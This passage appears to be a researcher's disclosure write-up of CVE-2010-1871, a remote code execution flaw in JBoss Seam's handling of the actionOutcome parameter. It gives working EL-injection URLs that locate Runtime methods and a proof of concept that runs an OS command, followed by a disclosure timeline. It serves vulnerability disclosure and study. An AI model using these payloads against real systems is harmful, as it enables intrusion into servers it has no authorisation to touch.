JBoss EL does all the magic behind the scenes. If the method you are invoking isn't static, in which case you can simply pass
null, you'll have to provide an instance of
the class to invoke the
method on to the invoke() call.
you can use exactly the same approach, lets say we'd like to invoke 19th method on an an instance of
java.lang.Runtime which is returned by a static method at index 7:
CVE-2010-1871: actionOutcome is remote code execution
After stepping through the sample booking app,
I've come across org.jboss.seam.navigation.Pages.callAction() which
takes value of the actionOutcome HTTP parameter and eventually passes it to JSF NavigationHandler's handleNavigation method
(use 'guest' username with empty password to view). SeamNavigationHandler is
Seam's implementation of JSF NavigationHandler and looking at its handleNavigation() you can see that if action outcome starts with / (checked by isOutcomeViewId() method)
then it's passed to FacesManager.instance().interpolateAndRedirect() method
which interpolates (executes) all JBoss EL expressions in actionOutcome URL's HTTP parameter values using Interpolator.
Once all JBoss EL expressions have been interpolated user is redirected to the URL with expressions output in corresponding HTTP parameters. So to exploit this vulnerability attacker needs to supply
actionOutcome that starts with / and has encoded JBoss EL statements in HTTP parameters values, example on seam-booking sample application:
/seam-booking/home.seam?actionOutcome=/pwn.xhtml%3fpwned%3d%23{expressions.getClass().forName('java.lang.Runtime')}
browser will be redirected to:
/seam-booking/pwn.seam?pwned=class+java.lang.Runtime&cid=14
in the request above we tell Seam that outcome of the action is at
/pwn?pwned=#{expressions.getClass.forName('java.lang.Runtime')} and so it redirected us to
/pwn.seam?pwned=<output of java.lang.Runtime class' toString() method>. And since attacker is able to see the output of her JBoss EL statements she is able to find out which methods of a particular
class are at which array index.
To execute arbitrary OS commands attacker needs to find indexes of the following 2 methods of the java.lang.Runtime() class in the array returned by the
getDeclaredMethods() method:
1) public java.lang.Process java.lang.Runtime.exec(java.lang.String) throws java.io.IOException
2)
public static java.lang.Runtime java.lang.Runtime.getRuntime()
On my OS X, first method is at index 19 and second is at 7:
/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19]}
=>
/seam-booking/pwn.seam?pwned=public+java.lang.Process+java.lang.Runtime.exec(java.lang.String)+throws+java.io.IOException&cid=21
and
/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7]}
=>
/seam-booking/pwn.seam?pwned=public+static+java.lang.Runtime+java.lang.Runtime.getRuntime()&cid=24
Other operating systems and JRE versions will have those methods at different indexes, using the above trick you can find out the indexes in the application you are testing yourself (there are around
24 methods in total).
Final PoC will look as follows:/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke(expressions.getClass().forName('java.lang.R
untime').getDeclaredMethods()[7].invoke(null), 'mkdir /tmp/PWNED')}
upon successful exploitation you'll be redirected to the URL below and /tmp/PWNED directory will be created:/seam-booking/pwn.seam?pwned=java.lang.UNIXProcess%4051e1fb23&cid=31
the value of pwned parameter represent value returned by successful
java.lang.Runtime.exec()
call.
TimelineJuly 19 - initial report. July 22 -
fix committed. Developers blacklisted # and
{ characters in
actionOutcome.July 27 - JBoss Seam team
releases the fix for JBoss Enterprise Application Platform only. Note, however, that vulnerability has nothing to
do with authentication as RedHat/JBoss team states, it's the problem in the framework and following steps above you will see that.